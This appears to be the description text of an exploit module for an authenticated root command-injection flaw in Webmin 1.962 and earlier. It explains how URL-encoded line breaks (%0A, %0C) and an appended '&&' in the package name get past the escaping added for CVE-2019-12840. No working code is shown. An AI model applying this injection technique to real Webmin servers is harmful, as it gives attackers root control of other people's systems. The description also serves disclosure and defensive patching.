This module exploits an arbitrary command execution vulnerability in Webmin
1.962 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in the system command,
we can manipulate it using some escape characters that HTTP supports.
For example, we can escape control by dropping the command line down one line.
We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,
we must add double an ampersand(&&) to the end of the payload (%26%26)
